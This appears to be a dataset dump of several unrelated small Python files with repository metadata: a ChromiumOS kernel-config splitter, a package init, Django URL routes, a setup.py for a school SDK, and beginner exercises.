#!/usr/bin/env python # This is a slightly modified version of ChromiumOS' splitconfig # https://chromium.googlesource.com/chromiumos/third_party/kernel/+/stabilize-5899.B-chromeos-3.14/chromeos/scripts/splitconfig """See this page for more details: http://dev.chromium.org/chromium-os/how-tos-and-troubleshooting/kernel-configuration """ import os import re import sys allconfigs = {} # Parse config files for config in sys.argv[1:]: allconfigs[config] = set() for line in open(config): m = re.match("#*\s*CONFIG_(\w+)[\s=](.*)$", line) if not m: continue option, value = m.groups() allconfigs[config].add((option, value)) # Split out common config options common = allconfigs.values()[0].copy() for config in allconfigs.keys(): common &= allconfigs[config] for config in allconfigs.keys(): allconfigs[config] -= common allconfigs["common"] = common # Generate new splitconfigs for config in allconfigs.keys(): f = open("split-" + config, "w") for option, value in sorted(list(allconfigs[config])): if value == "is not set": print >>f, "# CONFIG_%s %s" % (option, value) else: print >>f, "CONFIG_%s=%s" % (option, value) f.close()

d5d20f7a81be3ee7ffae45e074584da66ec78259

py

Python

multistream_select/__init__.py

Projjol/py-multistream-select

624becaaeefa0a76d6841e27fbf7dea3240d2fe0

multistream_select/__init__.py

Projjol/py-multistream-select

624becaaeefa0a76d6841e27fbf7dea3240d2fe0

multistream_select/__init__.py

Projjol/py-multistream-select

624becaaeefa0a76d6841e27fbf7dea3240d2fe0

__version = '0.1.0' __all__ = ['MultiStreamSelect', 'hexify'] __author__ = 'Natnael Getahun (connect@ngetahun.me)' __name__ = 'multistream' from .multistream import MultiStreamSelect from .utils import hexify

d5e8cedec4a5704ab1636f88d9b806e93b86ff8a

py

Python

userManagement/management/urls.py

shubhamguptaorg/user_managementl

ad98e0e4886d9b0547b05ae424c10d8f6268d470

userManagement/management/urls.py

shubhamguptaorg/user_managementl

ad98e0e4886d9b0547b05ae424c10d8f6268d470

2021-03-19T03:22:44.000Z

2022-03-11T23:58:10.000Z

userManagement/management/urls.py

shubhamguptaorg/user_managementl

ad98e0e4886d9b0547b05ae424c10d8f6268d470

from django.contrib import admin from django.urls import path,include from django.views.generic import TemplateView from .views import Index,SignUp,UserDashboard,AdminDashboard,logout,showAdminData,deleteuser,activeUser,deactiveUser,UserDetailEdit,uploadImage # from .views import Index,UserDashboard,SignUp,AdminDashboard app_name='management' urlpatterns = [ # path('',homepage,name="index"), path('',Index.as_view(), name='index'), path('signup',SignUp.as_view(),name="signup"), path('userdashboard',UserDashboard.as_view(),name="userDashboard"), path('admindashboard',AdminDashboard.as_view(),name="adminDashboard"), path('admindashboard/showuserdata/',showAdminData.as_view(),name='showAdminData'), path('admindashboard/showuserdata/deleteuser/<userId>',deleteuser,name='deleteuser'), path('admindashboard/showuserdata/activeUser/<userId>', activeUser, name='activeUser'), path('admindashboard/showuserdata/deactiveUser/<userId>', deactiveUser, name='deactiveUser'), path('uploadimage/',uploadImage,name="uploadImage"), path('editUserDetail/',UserDetailEdit.as_view(),name='userEditDetail'), path('logout',logout,name='logout') ]

d5ec93a99d9c113668c2693c8d65499328f692cd

py

Python

zf-setup.py

Ziki2001/new-school-sdk

b606e666888e1c9813e2f1a6a64bbede3744026e

zf-setup.py

Ziki2001/new-school-sdk

b606e666888e1c9813e2f1a6a64bbede3744026e

zf-setup.py

Ziki2001/new-school-sdk

b606e666888e1c9813e2f1a6a64bbede3744026e

# -*- coding: utf-8 -*- ''' :file: setup.py :author: -Farmer :url: https://blog.farmer233.top :date: 2021/09/20 11:11:54 ''' from os import path from setuptools import setup, find_packages basedir = path.abspath(path.dirname(__file__)) with open(path.join(basedir, "README.md"), encoding='utf-8') as f: long_description = f.read() setup( name="zf-school-sdk", author="farmer.chillax", version="1.3.2", license='MIT', author_email="farmer-chong@qq.com", description="zf School SDK for Python", long_description=long_description, long_description_content_type='text/markdown', url='https://github.com/Farmer-chong/new-school-sdk', packages=find_packages(), # package_data={}, package_data={"school_sdk": ['check_code/model.pkl']}, include_package_data=True, platforms='any', zip_safe=False, install_requires=[ 'requests', 'pyquery', 'bs4', 'Pillow', 'fake-headers', 'torch', 'torchvision', ], classifiers=[ 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python :: 3.8', 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Topic :: Software Development :: Libraries :: Python Modules' ] ) # python zf-setup.py bdist_wheel sdist # twine upload dist/*

d5edbea518993ed30402ca6ed7151f569ce035ff

py

Python

main.py

reflective21/iportfolio

39db626a9754c1df44ac698f3d8988fdc4e7c6d5

main.py

reflective21/iportfolio

39db626a9754c1df44ac698f3d8988fdc4e7c6d5

main.py

reflective21/iportfolio

39db626a9754c1df44ac698f3d8988fdc4e7c6d5

name = "David Asiru Adetomiwa" print(name)

d5f72b6bb8de932265e3494ed6520e23b33d2b72

py

Python

p6e8.py

yannickbf-prog/python

da4bd2c8668966359b829a8ac2a896afeca2b150

p6e8.py

yannickbf-prog/python

da4bd2c8668966359b829a8ac2a896afeca2b150

p6e8.py

yannickbf-prog/python

da4bd2c8668966359b829a8ac2a896afeca2b150

#Yannick p6e8 Escribe un programa que te pida primero un número y luego te pida números hasta que la suma de los números introducidos coincida con el número inicial. El programa termina escribiendo la lista de números. limite = int(input("Escribe limite:")) valores = int(input("Escribe un valor:")) listavalores = [] listavalores.append(valores) while limite > sum(listavalores): valores = int(input("Escribe otro valor")) listavalores.append(valores) print(f"El limite a superar es {limite}. La lista creada es ", end="") for i in range(len(listavalores)): print (listavalores[i], end=" ") print(f"ya que la suma de estos numeros es {sum(listavalores)}")

d5fb061a3a4378d9720ff3a451d5983678f6ed08

py

Python

venv/lib/python3.8/site-packages/dateparser/data/date_translation_data/ebu.py

yuta-komura/vishnu

67173b674d5f4f3be189474103612447ef69ab44

2021-11-17T04:55:14.000Z

2021-11-17T04:55:14.000Z